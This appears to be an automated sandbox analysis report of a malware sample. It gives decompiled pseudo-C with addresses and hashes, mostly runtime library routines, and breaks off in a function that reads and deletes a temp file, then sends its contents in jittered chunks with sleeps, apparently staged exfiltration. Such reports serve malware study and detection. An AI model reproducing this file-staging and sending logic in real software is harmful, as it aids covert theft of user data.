0x0123b314
0x0123b316
0x0123b318
0x0123b31a
0x0123b31d
0x0123b31d
0x0123b321
0x0123b323
0x0123b329
0x0123b32c
0x0123b32c
0x0123b32c
0x0123b330
0x0123b330
0x0123b335
0x0123b338
0x0123b338
0x0123b33d
0x0123b33f
0x0123b341
0x0123b348
0x0123b348
0x0123b34a
0x0123b34f
0x0123b351
0x0123b354
0x0123b354
0x0123b357
0x0123b360
0x0123b360
0x0123b362
0x0123b362
0x0123b367
0x0123b36d
0x0123b371
0x0123b374
0x0123b377
0x0123b379
0x0123b379
0x0123b379
0x0123b37e
0x0123b37e
0x0123b381
0x0123b384
0x0123b343
0x0123b343
0x0123b346
0x00000000
0x00000000
0x0123b346
0x0123b341
0x0123b38b
0x0123b38b
0x0123b38c
0x0123b2d3
0x0123b2d3
0x0123b2d5
0x00000000
0x00000000
0x0123b2d5
0x0123b39c
0x0123b3a1
0x0123b3a4
0x0123b3a8
0x0123b3a9
0x0123b3ac
0x0123b3af
0x0123b3b0
0x0123b3b3
0x0123b3b6
0x0123b3b9
0x0123b3bc
0x0123b3bc
0x0123b3c4
0x0123b3cb
0x0123b3cc
0x0123b3ce
0x0123b3d0
0x0123b3d2
0x0123b3d5
0x0123b3e0
0x0123b3e0
0x0123b3e6
0x0123b3e6
0x0123b3e9
0x0123b3ea
0x0123b3ea
0x0123b3e0
0x0123b3ee
0x0123b3f0
0x0123b3f2
0x0123b3f4
0x0123b3f4
0x0123b3f6
0x0123b3fa
0x00000000
0x00000000
0x0123b3fc
0x0123b3fc
0x0123b3ff
0x0123b401
0x00000000
0x00000000
0x00000000
0x0123b401
0x0123b3f4
0x0123b403
0x0123b40d
0x00000000
0x00000000
0x00000000
0x0123b118
0x0123afa2
0x0123afa2
0x0123afa2
0x0123afa5
0x0123afa8
0x0123afab
0x0123afdc
0x0123afde
0x0123b029
0x0123b02b
0x0123b032
0x0123b039
0x0123b03c
0x0123b03f
0x0123b045
0x0123b045
0x0123b046
0x0123b049
0x0123b050
0x0123b059
0x0123b05e
0x0123b061
0x0123b066
0x0123b069
0x0123b06b
0x0123b070
0x0123b073
0x0123b076
0x0123b076
0x0123b076
0x0123b07a
0x0123b07d
0x0123b07d
0x0123b082
0x0123b082
0x0123b08d
0x0123b098
0x0123b098
0x0123b09b
0x0123b0a7
0x0123b0ac
0x0123b0b7
0x0123b0b9
0x0123b0bb
0x0123b0c1
0x0123b0c6
0x0123b0c8
0x0123b0ce
0x0123afe0
0x0123afec
0x0123afec
0x0123afef
0x0123afff
0x0123b005
0x0123b00c
0x0123b00e
0x0123b016
0x0123b018
0x0123b01a
0x0123b01f
0x0123b022
0x0123b028
0x0123b028
0x0123afad
0x0123afb0
0x0123afb4
0x0123afba
0x0123afc9
0x0123afd3
0x0123afdb
0x0123afdb
0x0123afab
0x0123af86
0x0123af89
0x0123af8f
0x0123af8f
0x0123af75
0x0123af7b
0x0123af7b

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c89a6f7580dc440778903e2e69591d47a13b67b5f9ae20e3a1f00666a70af9cf
Instruction ID: 3ab51aee9de3acc0f91fc3996f972da748e1f2d8f02b4360058bfbb92eee1673
Opcode Fuzzy Hash: c89a6f7580dc440778903e2e69591d47a13b67b5f9ae20e3a1f00666a70af9cf
Instruction Fuzzy Hash: 1E022DB1E1021A9BDF15CFA9C8806ADFBF5FF88314F15426AD919E7385D731AA418B80

Uniqueness

Uniqueness Score: -1.00%

Function 0123FA1C, Relevance: 1.8, APIs: 1, Instructions: 269
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E0123FA1C(long _a4, signed int* _a8, signed char _a12, signed int _a16, intOrPtr* _a20, unsigned int* _a24, intOrPtr _a28) {
				signed int _t172;
				signed int _t175;
				signed int _t178;
				signed int* _t179;
				signed int _t195;
				signed int _t199;
				signed int _t202;
				void* _t203;
				void* _t206;
				signed int _t209;
				void* _t210;
				signed int _t225;
				unsigned int* _t240;
				signed char _t242;
				signed int* _t250;
				unsigned int* _t256;
				signed int* _t257;
				signed char _t259;
				long _t262;
				signed int* _t265;

				 *(_a4 + 4) = 0;
				_t262 = 0xc000000d;
				 *(_a4 + 8) = 0;
				 *(_a4 + 0xc) = 0;
				_t242 = _a12;
				if((_t242 & 0x00000010) != 0) {
					_t262 = 0xc000008f;
					 *(_a4 + 4) =  *(_a4 + 4) | 1;
				}
				if((_t242 & 0x00000002) != 0) {
					_t262 = 0xc0000093;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000002;
				}
				if((_t242 & 0x00000001) != 0) {
					_t262 = 0xc0000091;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000004;
				}
				if((_t242 & 0x00000004) != 0) {
					_t262 = 0xc000008e;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
				}
				if((_t242 & 0x00000008) != 0) {
					_t262 = 0xc0000090;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000010;
				}
				_t265 = _a8;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 << 4) ^  *(_a4 + 8)) & 0x00000010;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 +  *_t265) ^  *(_a4 + 8)) & 0x00000008;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 1) ^  *(_a4 + 8)) & 0x00000004;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 3) ^  *(_a4 + 8)) & 0x00000002;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 5) ^  *(_a4 + 8)) & 1;
				_t259 = E0123D337(_a4);
				if((_t259 & 0x00000001) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000010;
				}
				if((_t259 & 0x00000004) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000008;
				}
				if((_t259 & 0x00000008) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000004;
				}
				if((_t259 & 0x00000010) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000002;
				}
				if((_t259 & 0x00000020) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 1;
				}
				_t172 =  *_t265 & 0x00000c00;
				if(_t172 == 0) {
					 *_a4 =  *_a4 & 0xfffffffc;
				} else {
					if(_t172 == 0x400) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffd | 1;
						L26:
						 *_t257 = _t225;
						L29:
						_t175 =  *_t265 & 0x00000300;
						if(_t175 == 0) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffeb | 0x00000008;
							L35:
							 *_t250 = _t178;
							L36:
							_t179 = _a4;
							_t254 = (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *_t179 =  *_t179 ^ (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *(_a4 + 0x20) =  *(_a4 + 0x20) | 1;
							if(_a28 == 0) {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe3 | 0x00000002;
								 *((long long*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t254 = _a4;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe3 | 0x00000002;
								 *(_a4 + 0x50) =  *_t240;
							} else {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe1;
								 *((intOrPtr*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe1;
								 *(_a4 + 0x50) =  *_t240;
							}
							E0123D29D(_t254);
							RaiseException(_t262, 0, 1,  &_a4);
							_t256 = _a4;
							if((_t256[2] & 0x00000010) != 0) {
								 *_t265 =  *_t265 & 0xfffffffe;
							}
							if((_t256[2] & 0x00000008) != 0) {
								 *_t265 =  *_t265 & 0xfffffffb;
							}
							if((_t256[2] & 0x00000004) != 0) {
								 *_t265 =  *_t265 & 0xfffffff7;
							}
							if((_t256[2] & 0x00000002) != 0) {
								 *_t265 =  *_t265 & 0xffffffef;
							}
							if((_t256[2] & 0x00000001) != 0) {
								 *_t265 =  *_t265 & 0xffffffdf;
							}
							_t195 =  *_t256 & 0x00000003;
							if(_t195 == 0) {
								 *_t265 =  *_t265 & 0xfffff3ff;
							} else {
								_t206 = _t195 - 1;
								if(_t206 == 0) {
									_t209 =  *_t265 & 0xfffff7ff | 0x00000400;
									L55:
									 *_t265 = _t209;
									L58:
									_t199 =  *_t256 >> 0x00000002 & 0x00000007;
									if(_t199 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000300;
										L64:
										 *_t265 = _t202;
										L65:
										if(_a28 == 0) {
											 *_t240 = _t256[0x14];
										} else {
											 *_t240 = _t256[0x14];
										}
										return _t202;
									}
									_t203 = _t199 - 1;
									if(_t203 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000200;
										goto L64;
									}
									_t202 = _t203 - 1;
									if(_t202 == 0) {
										 *_t265 =  *_t265 & 0xfffff3ff;
									}
									goto L65;
								}
								_t210 = _t206 - 1;
								if(_t210 == 0) {
									_t209 =  *_t265 & 0xfffffbff | 0x00000800;
									goto L55;
								}
								if(_t210 == 1) {
									 *_t265 =  *_t265 | 0x00000c00;
								}
							}
							goto L58;
						}
						if(_t175 == 0x200) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffe7 | 0x00000004;
							goto L35;
						}
						if(_t175 == 0x300) {
							 *_a4 =  *_a4 & 0xffffffe3;
						}
						goto L36;
					}
					if(_t172 == 0x800) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffe | 0x00000002;
						goto L26;
					}
					if(_t172 == 0xc00) {
						 *_a4 =  *_a4 | 0x00000003;
					}
				}
			}

0x0123fa2a
0x0123fa31
0x0123fa36
0x0123fa3c
0x0123fa3f
0x0123fa45
0x0123fa4a
0x0123fa4f
0x0123fa4f
0x0123fa55
0x0123fa5a
0x0123fa5f
0x0123fa5f
0x0123fa66
0x0123fa6b
0x0123fa70
0x0123fa70
0x0123fa77
0x0123fa7c
0x0123fa81
0x0123fa81
0x0123fa88
0x0123fa8d
0x0123fa92
0x0123fa92
0x0123fa9a
0x0123faaa
0x0123fabc
0x0123face
0x0123fae1
0x0123faf3
0x0123fafb
0x0123fb00
0x0123fb05
0x0123fb05
0x0123fb0c
0x0123fb11
0x0123fb11
0x0123fb18
0x0123fb1d
0x0123fb1d
0x0123fb24
0x0123fb29
0x0123fb29
0x0123fb30
0x0123fb35
0x0123fb35
0x0123fb3f
0x0123fb41
0x0123fb7b
0x0123fb43
0x0123fb48
0x0123fb6c
0x0123fb74
0x0123fb68
0x0123fb68
0x0123fb7e
0x0123fb85
0x0123fb87
0x0123fba9
0x0123fbb1
0x0123fbb4
0x0123fbb4
0x0123fbb6
0x0123fbb6
0x0123fbc1
0x0123fbc7
0x0123fbcc
0x0123fbd3
0x0123fc0d
0x0123fc18
0x0123fc1e
0x0123fc21
0x0123fc24
0x0123fc30
0x0123fc38
0x0123fbd5
0x0123fbd8
0x0123fbe4
0x0123fbea
0x0123fbf0
0x0123fbf3
0x0123fbfc
0x0123fbfc
0x0123fc3b
0x0123fc49
0x0123fc4f
0x0123fc56
0x0123fc58
0x0123fc58
0x0123fc5f
0x0123fc61
0x0123fc61
0x0123fc68
0x0123fc6a
0x0123fc6a
0x0123fc71
0x0123fc73
0x0123fc73
0x0123fc7a
0x0123fc7c
0x0123fc7c
0x0123fc89
0x0123fc8c
0x0123fcc3
0x0123fc8e
0x0123fc8e
0x0123fc91
0x0123fcbc
0x0123fcb1
0x0123fcb1
0x0123fcc5
0x0123fccd
0x0123fcd0
0x0123fcef
0x0123fcf4
0x0123fcf4
0x0123fcf6
0x0123fcfb
0x0123fd07
0x0123fcfd
0x0123fd00
0x0123fd00
0x0123fd0c
0x0123fd0c
0x0123fcd2
0x0123fcd5
0x0123fce4
0x00000000
0x0123fce4
0x0123fcd7
0x0123fcda
0x0123fcdc
0x0123fcdc
0x00000000
0x0123fcda
0x0123fc93
0x0123fc96
0x0123fcac
0x00000000
0x0123fcac
0x0123fc9b
0x0123fc9d
0x0123fc9d
0x0123fc9b
0x00000000
0x0123fc8c
0x0123fb8e
0x0123fb9c
0x0123fba4
0x00000000
0x0123fba4
0x0123fb92
0x0123fb97
0x0123fb97
0x00000000
0x0123fb92
0x0123fb4f
0x0123fb5d
0x0123fb65
0x00000000
0x0123fb65
0x0123fb53
0x0123fb58
0x0123fb58
0x0123fb53

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0123FA17,?,?,00000008,?,?,0123F6B7,00000000), ref: 0123FC49

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 3c1d851b070b13daf33430d33dc613125ab588a54e22bb85be7877a3b2860297
Instruction ID: 1b22e86d9186237937f29ab13145b38f65e04282f81d9c57c54d83084e11a762
Opcode Fuzzy Hash: 3c1d851b070b13daf33430d33dc613125ab588a54e22bb85be7877a3b2860297
Instruction Fuzzy Hash: 9FB19FB15206098FE718CF2CD586B647FE1FF89364F258658EA99CF2A1C335D982CB41

Uniqueness

Uniqueness Score: -1.00%

Function 012346F7, Relevance: 1.5, Strings: 1, Instructions: 214
COMMONCrypto

Download Yara Rule

C-Code - Quality: 88%

			E012346F7(intOrPtr* __ecx) {
				char _v6;
				char _v8;
				void* __ebx;
				void* __edi;
				char _t49;
				signed int _t50;
				void* _t51;
				signed char _t54;
				signed char _t56;
				signed int _t57;
				signed int _t58;
				signed char _t67;
				signed char _t69;
				signed char _t71;
				signed char _t80;
				signed char _t82;
				signed int _t84;
				signed int _t86;
				signed int _t87;
				signed char _t92;
				void* _t95;
				intOrPtr _t100;
				unsigned int _t102;
				signed char _t104;
				void* _t112;
				unsigned int _t113;
				void* _t114;
				signed int _t115;
				signed int* _t116;
				intOrPtr* _t119;
				void* _t121;
				void* _t122;
				void* _t124;
				void* _t125;

				_push(__ecx);
				_t119 = __ecx;
				_t92 = 1;
				_t49 =  *((char*)(__ecx + 0x31));
				_t124 = _t49 - 0x64;
				if(_t124 > 0) {
					__eflags = _t49 - 0x70;
					if(__eflags > 0) {
						_t50 = _t49 - 0x73;
						__eflags = _t50;
						if(_t50 == 0) {
							L9:
							_t51 = E01234DEF(_t119);
							L10:
							if(_t51 != 0) {
								__eflags =  *((char*)(_t119 + 0x30));
								if( *((char*)(_t119 + 0x30)) == 0) {
									_t113 =  *(_t119 + 0x20);
									_push(_t114);
									_v8 = 0;
									_t115 = 0;
									_v6 = 0;
									_t54 = _t113 >> 4;
									__eflags = _t92 & _t54;
									if((_t92 & _t54) == 0) {
										L46:
										_t100 =  *((intOrPtr*)(_t119 + 0x31));
										__eflags = _t100 - 0x78;
										if(_t100 == 0x78) {
											L48:
											_t56 = _t113 >> 5;
											__eflags = _t92 & _t56;
											if((_t92 & _t56) != 0) {
												L50:
												__eflags = _t100 - 0x61;
												if(_t100 == 0x61) {
													L53:
													_t57 = 1;
													L54:
													__eflags = _t92;
													if(_t92 != 0) {
														L56:
														 *((char*)(_t121 + _t115 - 4)) = 0x30;
														__eflags = _t100 - 0x58;
														if(_t100 == 0x58) {
															L59:
															_t58 = 1;
															L60:
															__eflags = _t58;
															 *((char*)(_t121 + _t115 - 3)) = ((_t58 & 0xffffff00 | _t58 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x78;
															_t115 = _t115 + 2;
															__eflags = _t115;
															L61:
															_t95 =  *((intOrPtr*)(_t119 + 0x24)) -  *((intOrPtr*)(_t119 + 0x38)) - _t115;
															__eflags = _t113 & 0x0000000c;
															if((_t113 & 0x0000000c) == 0) {
																E0123407D(_t119 + 0x448, 0x20, _t95, _t119 + 0x18);
																_t122 = _t122 + 0x10;
															}
															E01234F66(_t119 + 0x448,  &_v8, _t115, _t119 + 0x18,  *((intOrPtr*)(_t119 + 0xc)));
															_t102 =  *(_t119 + 0x20);
															_t116 = _t119 + 0x18;
															_t67 = _t102 >> 3;
															__eflags = _t67 & 0x00000001;
															if((_t67 & 0x00000001) != 0) {
																_t104 = _t102 >> 2;
																__eflags = _t104 & 0x00000001;
																if((_t104 & 0x00000001) == 0) {
																	E0123407D(_t119 + 0x448, 0x30, _t95, _t116);
																	_t122 = _t122 + 0x10;
																}
															}
															E01234EBF(_t119, _t113, 0);
															__eflags =  *_t116;
															if( *_t116 >= 0) {
																_t71 =  *(_t119 + 0x20) >> 2;
																__eflags = _t71 & 0x00000001;
																if((_t71 & 0x00000001) != 0) {
																	E0123407D(_t119 + 0x448, 0x20, _t95, _t116);
																}
															}
															_t69 = 1;
															L70:
															return _t69;
														}
														__eflags = _t100 - 0x41;
														if(_t100 == 0x41) {
															goto L59;
														}
														_t58 = 0;
														goto L60;
													}
													__eflags = _t57;
													if(_t57 == 0) {
														goto L61;
													}
													goto L56;
												}
												__eflags = _t100 - 0x41;
												if(_t100 == 0x41) {
													goto L53;
												}
												_t57 = 0;
												goto L54;
											}
											L49:
											_t92 = 0;
											__eflags = 0;
											goto L50;
										}
										__eflags = _t100 - 0x58;
										if(_t100 != 0x58) {
											goto L49;
										}
										goto L48;
									}
									_t80 = _t113 >> 6;
									__eflags = _t92 & _t80;
									if((_t92 & _t80) == 0) {
										__eflags = _t92 & _t113;
										if((_t92 & _t113) == 0) {
											_t82 = _t113 >> 1;
											__eflags = _t92 & _t82;
											if((_t92 & _t82) == 0) {
												goto L46;
											}
											_v8 = 0x20;
											L45:
											_t115 = _t92;
											goto L46;
										}
										_v8 = 0x2b;
										goto L45;
									}
									_v8 = 0x2d;
									goto L45;
								}
								_t69 = _t92;
								goto L70;
							}
							L11:
							_t69 = 0;
							goto L70;
						}
						_t84 = _t50;
						__eflags = _t84;
						if(__eflags == 0) {
							L28:
							_push(0);
							_push(0xa);
							L29:
							_t51 = E01234BFA(_t119, _t114, __eflags);
							goto L10;
						}
						__eflags = _t84 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L29;
					}
					if(__eflags == 0) {
						_t51 = E01234DD7(__ecx);
						goto L10;
					}
					__eflags = _t49 - 0x67;
					if(_t49 <= 0x67) {
						L30:
						_t51 = E01234A10(_t92, _t119);
						goto L10;
					}
					__eflags = _t49 - 0x69;
					if(_t49 == 0x69) {
						L27:
						_t2 = _t119 + 0x20;
						 *_t2 =  *(_t119 + 0x20) | 0x00000010;
						__eflags =  *_t2;
						goto L28;
					}
					__eflags = _t49 - 0x6e;
					if(_t49 == 0x6e) {
						_t51 = E01234D44(__ecx, _t112);
						goto L10;
					}
					__eflags = _t49 - 0x6f;
					if(_t49 != 0x6f) {
						goto L11;
					}
					_t51 = E01234DB8(__ecx);
					goto L10;
				}
				if(_t124 == 0) {
					goto L27;
				}
				_t125 = _t49 - 0x58;
				if(_t125 > 0) {
					_t86 = _t49 - 0x5a;
					__eflags = _t86;
					if(_t86 == 0) {
						_t51 = E012349AD(__ecx);
						goto L10;
					}
					_t87 = _t86 - 7;
					__eflags = _t87;
					if(_t87 == 0) {
						goto L30;
					}
					__eflags = _t87;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t51 = E01234B6A(_t92, _t119, __eflags, 0);
					goto L10;
				}
				if(_t125 == 0) {
					_push(1);
					goto L13;
				}
				if(_t49 == 0x41) {
					goto L30;
				}
				if(_t49 == 0x43) {
					goto L17;
				}
				if(_t49 <= 0x44) {
					goto L11;
				}
				if(_t49 <= 0x47) {
					goto L30;
				}
				if(_t49 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x012346fc
0x012346ff
0x01234703
0x01234706
0x0123470a
0x0123470d
0x0123477b
0x0123477e
0x012347cd
0x012347cd
0x012347d0
0x0123473d
0x0123473f
0x01234744
0x01234746
0x012347eb
0x012347ef
0x012347f8
0x012347fd
0x012347fe
0x01234802
0x01234804
0x01234809
0x0123480c
0x0123480e
0x01234837
0x01234837
0x0123483a
0x0123483d
0x01234844
0x01234846
0x01234849
0x0123484b
0x0123484f
0x0123484f
0x01234852
0x0123485d
0x0123485d
0x0123485f
0x0123485f
0x01234861
0x01234867
0x01234867
0x0123486c
0x0123486f
0x0123487a
0x0123487a
0x0123487c
0x0123487c
0x01234887
0x0123488b
0x0123488b
0x0123488e
0x01234894
0x01234896
0x01234899
0x012348a9
0x012348ae
0x012348ae
0x012348c3
0x012348c8
0x012348cb
0x012348d0
0x012348d3
0x012348d5
0x012348d7
0x012348da
0x012348dd
0x012348ea
0x012348ef
0x012348ef
0x012348dd
0x012348f6
0x012348fb
0x012348fe
0x01234903
0x01234906
0x01234908
0x01234915
0x0123491a
0x01234908
0x0123491d
0x01234920
0x01234925
0x01234925
0x01234871
0x01234874
0x00000000
0x00000000
0x01234876
0x00000000
0x01234876
0x01234863
0x01234865
0x00000000
0x00000000
0x00000000
0x01234865
0x01234854
0x01234857
0x00000000
0x00000000
0x01234859
0x00000000
0x01234859
0x0123484d
0x0123484d
0x0123484d
0x00000000
0x0123484d
0x0123483f
0x01234842
0x00000000
0x00000000
0x00000000
0x01234842
0x01234812
0x01234815
0x01234817
0x0123481f
0x01234821
0x0123482b
0x0123482d
0x0123482f
0x00000000
0x00000000
0x01234831
0x01234835
0x01234835
0x00000000
0x01234835
0x01234823
0x00000000
0x01234823
0x01234819
0x00000000
0x01234819
0x012347f1
0x00000000
0x012347f1
0x0123474c
0x0123474c
0x00000000
0x0123474c
0x012347d7
0x012347d7
0x012347da
0x012347ac
0x012347ac
0x012347ad
0x012347af
0x012347b1
0x00000000
0x012347b1
0x012347dc
0x012347df
0x00000000
0x00000000
0x012347e5
0x01234754
0x01234754
0x00000000
0x01234754
0x01234780
0x012347c3
0x00000000
0x012347c3
0x01234782
0x01234785
0x012347b8
0x012347ba
0x00000000
0x012347ba
0x01234787
0x0123478a
0x012347a8
0x012347a8
0x012347a8
0x012347a8
0x00000000
0x012347a8
0x0123478c
0x0123478f
0x012347a1
0x00000000
0x012347a1
0x01234791
0x01234794
0x00000000
0x00000000
0x01234798
0x00000000
0x01234798
0x0123470f
0x00000000
0x00000000
0x01234715
0x01234718
0x01234758
0x01234758
0x0123475b
0x01234774
0x00000000
0x01234774
0x0123475d
0x0123475d
0x01234760
0x00000000
0x00000000
0x01234763
0x01234766
0x00000000
0x00000000
0x01234768
0x0123476b
0x00000000
0x0123476b
0x0123471a
0x01234753
0x00000000
0x01234753
0x0123471f
0x00000000
0x00000000
0x01234728
0x00000000
0x00000000
0x0123472d
0x00000000
0x00000000
0x01234732
0x00000000
0x00000000
0x0123473b
0x00000000
0x00000000
0x00000000

Strings

0, xrefs: 01234867

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: f8a09bf90652abba03e4c4632af07912c1671ed9223366bd2e24022b032d3914
Instruction ID: f34816935587fc37be5d3118effd456aba1c9fbe77f0c4ec71a3555c690db315
Opcode Fuzzy Hash: f8a09bf90652abba03e4c4632af07912c1671ed9223366bd2e24022b032d3914
Instruction Fuzzy Hash: 8D5137E0B307C75AEB3EB56C8859BBE2BC59FD3204F4805D9DB42CB282C645D646C356

Uniqueness

Uniqueness Score: -1.00%

Function 0123A191, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0123A191() {
				signed int _t3;

				_t3 = GetProcessHeap();
				 *0x124a198 = _t3;
				return _t3 & 0xffffff00 | _t3 != 0x00000000;
			}

0x0123a191
0x0123a199
0x0123a1a1

APIs

GetProcessHeap.KERNEL32 ref: 0123A191

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: e0fd1abeb5ea448f0876e86ed5d3301e6288eb1097e63285a1aeb3608ce9dce5
Instruction ID: b7ff8cea6fc2358581017fe3653131cb57cb180bac945fd31c0391ee06ace6f5
Opcode Fuzzy Hash: e0fd1abeb5ea448f0876e86ed5d3301e6288eb1097e63285a1aeb3608ce9dce5
Instruction Fuzzy Hash: 78A0223C200200CF83208F32B28E30C3BECBB002C030A0028B20EC2008EB3080C0EF00

Uniqueness

Uniqueness Score: -1.00%

Function 01231C20, Relevance: 40.5, APIs: 18, Strings: 5, Instructions: 206
filesleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E01231C20(void* __ebx) {
				signed int _v8;
				char _v268;
				void* _v272;
				long _v276;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t30;
				void* _t37;
				signed int _t47;
				intOrPtr _t56;
				intOrPtr _t66;
				intOrPtr _t75;
				intOrPtr _t79;
				long _t84;
				void* _t85;
				void* _t86;
				void* _t87;
				void* _t92;
				void* _t96;
				void* _t100;
				intOrPtr* _t105;
				intOrPtr* _t107;
				intOrPtr* _t109;
				intOrPtr* _t110;
				void* _t113;
				signed int _t116;
				signed int _t119;

				_t30 =  *0x1249004; // 0x5a4607f2
				_v8 = _t30 ^ _t119;
				_t112 = 0;
				_v276 = 0;
				E012333D0(0,  &_v268, 0, 0x104);
				_t113 = CreateFileA("C:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DC.tmp", 0x80000000, 1, 0, 3, 0x80, 0);
				if(_t113 != 0xffffffff) {
					_push(__ebx);
					_t84 = GetFileSize(_t113, 0);
					if(_t84 != 0) {
						_t12 = _t84 + 0x20; // 0x20
						_t37 = LocalAlloc(0x40, _t12);
						_v272 = _t37;
						if(_t37 != 0) {
							_t88 =  &_v276;
							if(ReadFile(_t113, _t37, _t84,  &_v276, 0) != 0) {
								CloseHandle(_t113);
								DeleteFileA("C:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DC.tmp");
								E01233C78( &_v276, GetTickCount());
								if(_t84 != 0) {
									asm("o16 nop [eax+eax]");
									do {
										_t113 = _t84 - _t112;
										_t47 = E01233C57(_t88) & 0x800001ff;
										if(_t47 < 0) {
											_t47 = (_t47 - 0x00000001 | 0xfffffe00) + 1;
										}
										if(_t47 + 0x200 < _t113) {
											_t116 = E01233C57(_t88) & 0x800001ff;
											if(_t116 < 0) {
												_t116 = (_t116 - 0x00000001 | 0xfffffe00) + 1;
											}
											_t113 = _t116 + 0x200;
										}
										_t104 = _t113;
										_t88 = _v272 + _t112;
										E01231A90(_v272 + _t112, _t113);
										_t112 = _t112 + _t113;
										Sleep(0x2710);
									} while (_t112 < _t84);
								}
								LocalFree(_v272);
								_pop(_t85);
								return E01232550(_t85, _v8 ^ _t119, _t104, _t112, _t113);
							} else {
								E012316A0( &_v268, 0x104, "RFE:%08x", GetLastError());
								_t105 =  &_v268;
								_t92 = _t105 + 1;
								do {
									_t56 =  *_t105;
									_t105 = _t105 + 1;
								} while (_t56 != 0);
								E01231A90( &_v268, _t105 - _t92);
								LocalFree(_v272);
								CloseHandle(_t113);
								DeleteFileA("C:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DC.tmp");
								_pop(_t86);
								return E01232550(_t86, _v8 ^ _t119, _t105 - _t92, 0, _t113);
							}
